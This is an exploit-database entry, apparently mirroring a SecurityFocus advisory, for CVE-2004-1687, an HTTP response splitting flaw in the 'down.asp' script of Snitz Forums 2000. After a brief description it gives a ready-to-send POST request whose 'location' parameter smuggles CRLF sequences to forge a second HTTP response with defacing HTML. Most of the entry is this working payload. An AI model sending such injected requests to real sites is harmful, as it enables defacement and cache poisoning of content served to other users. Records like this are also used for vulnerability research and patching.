Snitz Forums 2000 - 'down.asp' HTTP Response Splitting
Author: Maestro De-Seguridad
type: webapps
platform: asp
port:
date_added: 2004-09-16
date_updated: 2013-03-06
verified: 1
codes: CVE-2004-1687;OSVDB-10070
tags:
aliases:
screenshot_url:
application_url:
source: https://www.securityfocus.com/bid/11201/info
Snitz Forums is reported prone to a HTTP response splitting vulnerability. The issue exists in a parameter of the 'down.asp' script. The issue presents itself due to a flaw in the affected script that allows an attacker to
manipulate how GET requests are handled.
A remote attacker may exploit this vulnerability to influence or misrepresent how web content is served, cached or interpreted.
POST /down.asp HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-length: 134
location=/foo?%0d%0a%0d%0aHTTP/1.0%20200%20OK%0d%0aContent-Length:%2014%0d%0aContent-Type:%20text/html%0d%0a%0d%0a{html}defaced{/html}
(replace curly braces with less than and greater than symbols)